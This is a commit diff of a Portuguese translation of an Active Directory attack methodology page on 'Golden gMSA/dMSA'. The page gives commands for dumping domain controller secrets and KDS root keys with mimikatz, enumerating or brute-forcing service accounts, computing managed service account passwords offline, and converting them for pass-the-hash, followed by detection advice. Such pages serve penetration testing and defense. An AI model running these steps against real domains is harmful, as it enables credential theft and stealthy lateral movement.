Translated ['src/windows-hardening/active-directory-methodology/golden-d

This commit is contained in:
Translator 2025-07-21 22:29:38 +00:00
parent a9d4bc4d2c
commit c2859ff9c9

View File

@ -23,7 +23,6 @@ Nenhum tráfego Kerberos ou interação com o domínio é necessária durante o
Se um atacante puder obter todas as três entradas **offline**, ele pode calcular **senhas válidas atuais e futuras** para **qualquer gMSA/dMSA no bosque** sem tocar no DC novamente, contornando: Se um atacante puder obter todas as três entradas **offline**, ele pode calcular **senhas válidas atuais e futuras** para **qualquer gMSA/dMSA no bosque** sem tocar no DC novamente, contornando:
* Logs de pré-autenticação Kerberos / solicitação de ticket
* Auditoria de leitura LDAP * Auditoria de leitura LDAP
* Intervalos de mudança de senha (eles podem pré-computar) * Intervalos de mudança de senha (eles podem pré-computar)
@ -31,11 +30,12 @@ Isso é análogo a um *Golden Ticket* para contas de serviço.
### Pré-requisitos ### Pré-requisitos
1. **Comprometimento em nível de bosque** de **um DC** (ou Administrador da Empresa). O acesso `SYSTEM` é suficiente. 1. **Comprometimento em nível de bosque** de **um DC** (ou Administrador da Empresa), ou acesso `SYSTEM` a um dos DCs no bosque.
2. Capacidade de enumerar contas de serviço (leitura LDAP / força bruta RID). 2. Capacidade de enumerar contas de serviço (leitura LDAP / força bruta RID).
3. Estação de trabalho .NET ≥ 4.7.2 x64 para executar [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) ou código equivalente. 3. Estação de trabalho .NET ≥ 4.7.2 x64 para executar [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) ou código equivalente.
### Fase 1 Extrair a Chave Raiz KDS ### Golden gMSA / dMSA
##### Fase 1 Extrair a Chave Raiz KDS
Dump de qualquer DC (Cópia de Sombra de Volume / hives SAM+SECURITY brutos ou segredos remotos): Dump de qualquer DC (Cópia de Sombra de Volume / hives SAM+SECURITY brutos ou segredos remotos):
```cmd ```cmd
@ -45,16 +45,25 @@ reg save HKLM\SYSTEM system.hive
# With mimikatz on the DC / offline # With mimikatz on the DC / offline
mimikatz # lsadump::secrets mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch # shows KDS root keys too mimikatz # lsadump::trust /patch # shows KDS root keys too
# With GoldendMSA
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
GoldendMSA.exe kds
# With GoldenGMSA
GoldenGMSA.exe kdsinfo
``` ```
A string base64 rotulada como `RootKey` (nome GUID) é necessária em etapas posteriores. A string base64 rotulada como `RootKey` (nome GUID) é necessária em etapas posteriores.
### Fase 2 Enumerar objetos gMSA/dMSA ##### Fase 2 Enumerar objetos gMSA / dMSA
Recupere pelo menos `sAMAccountName`, `objectSid` e `msDS-ManagedPasswordId`: Recupere pelo menos `sAMAccountName`, `objectSid` e `msDS-ManagedPasswordId`:
```powershell ```powershell
# Authenticated or anonymous depending on ACLs # Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \ Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId Select sAMAccountName,objectSid,msDS-ManagedPasswordId
GoldenGMSA.exe gmsainfo
``` ```
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementa modos auxiliares: [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementa modos auxiliares:
```powershell ```powershell
@ -64,49 +73,49 @@ GoldendMSA.exe info -d example.local -m ldap
# RID brute force if anonymous binds are blocked # RID brute force if anonymous binds are blocked
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
``` ```
### Fase 3 Adivinhar / Descobrir o ManagedPasswordID (quando ausente) ##### Fase 3 Adivinhar / Descobrir o ManagedPasswordID (quando ausente)
Algumas implementações *removem* `msDS-ManagedPasswordId` de leituras protegidas por ACL. Algumas implantações *removem* `msDS-ManagedPasswordId` de leituras protegidas por ACL.
Como o GUID é de 128 bits, um bruteforce ingênuo é inviável, mas: Como o GUID é de 128 bits, um bruteforce ingênuo é inviável, mas:
1. Os primeiros **32 bits = tempo da época Unix** da criação da conta (resolução em minutos). 1. Os primeiros **32 bits = tempo da época Unix** da criação da conta (resolução em minutos).
2. Seguidos por 96 bits aleatórios. 2. Seguidos por 96 bits aleatórios.
Portanto, uma **lista de palavras restrita por conta** (± algumas horas) é realista. Portanto, uma **lista de palavras estreita por conta** (± algumas horas) é realista.
```powershell ```powershell
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID> GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
``` ```
A ferramenta calcula senhas candidatas e compara seu blob base64 com o atributo real `msDS-ManagedPassword` a correspondência revela o GUID correto. A ferramenta calcula senhas candidatas e compara seu blob base64 com o verdadeiro atributo `msDS-ManagedPassword` a correspondência revela o GUID correto.
### Fase 4 Cálculo e Conversão de Senha Offline ##### Fase 4 Cálculo e Conversão de Senha Offline
Uma vez que o ManagedPasswordID é conhecido, a senha válida está a um comando de distância: Uma vez que o ManagedPasswordID é conhecido, a senha válida está a um comando de distância:
```powershell ```powershell
# derive base64 password # derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
``` ```
Os hashes resultantes podem ser injetados com **mimikatz** (`sekurlsa::pth`) ou **Rubeus** para abuso de Kerberos, permitindo **movimentação lateral** furtiva e **persistência**. Os hashes resultantes podem ser injetados com **mimikatz** (`sekurlsa::pth`) ou **Rubeus** para abuso de Kerberos, permitindo **movimentação lateral** furtiva e **persistência**.
## Detecção e Mitigação ## Detecção e Mitigação
* Restringir as capacidades de **backup de DC e leitura do hive do registro** a administradores de Tier-0. * Restringir as capacidades de **backup de DC e leitura do hive do registro** a administradores de Tier-0.
* Monitorar a criação de **Modo de Restauração de Serviços de Diretório (DSRM)** ou **Cópia de Sombra de Volume** em DCs. * Monitorar a criação do **Modo de Restauração de Serviços de Diretório (DSRM)** ou **Cópia de Sombra de Volume** em DCs.
* Auditar leituras / alterações em `CN=Master Root Keys,…` e flags `userAccountControl` de contas de serviço. * Auditar leituras / alterações em `CN=Master Root Keys,…` e flags `userAccountControl` de contas de serviço.
* Detectar escritas de **senha em base64** incomuns ou reutilização repentina de senhas de serviço entre hosts. * Detectar escritas de **senha base64** incomuns ou reutilização repentina de senhas de serviço entre hosts.
* Considerar converter gMSAs de alto privilégio em **contas de serviço clássicas** com rotações aleatórias regulares onde a isolação de Tier-0 não é possível. * Considerar converter gMSAs de alto privilégio em **contas de serviço clássicas** com rotações aleatórias regulares onde a isolação de Tier-0 não é possível.
## Ferramentas ## Ferramentas
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementação de referência usada nesta página. * [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementação de referência usada nesta página.
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) implementação de referência usada nesta página.
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`. * [`mimikatz`](https://github.com/gentilkiwi/mimikatz) `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
* [`Rubeus`](https://github.com/GhostPack/Rubeus) pass-the-ticket usando chaves AES derivadas. * [`Rubeus`](https://github.com/GhostPack/Rubeus) pass-the-ticket usando chaves AES derivadas.
## Referências ## Referências
- [Golden dMSA bypass de autenticação para Contas de Serviço Gerenciadas Delegadas](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/) - [Golden dMSA bypass de autenticação para Contas de Serviço Gerenciadas Delegadas](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
- [gMSA Active Directory Ataques Contas](https://www.semperis.com/blog/golden-gmsa-attack/)
- [Repositório GitHub Semperis/GoldenDMSA](https://github.com/Semperis/GoldenDMSA) - [Repositório GitHub Semperis/GoldenDMSA](https://github.com/Semperis/GoldenDMSA)
- [Improsec ataque de confiança Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) - [Improsec ataque de confiança Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)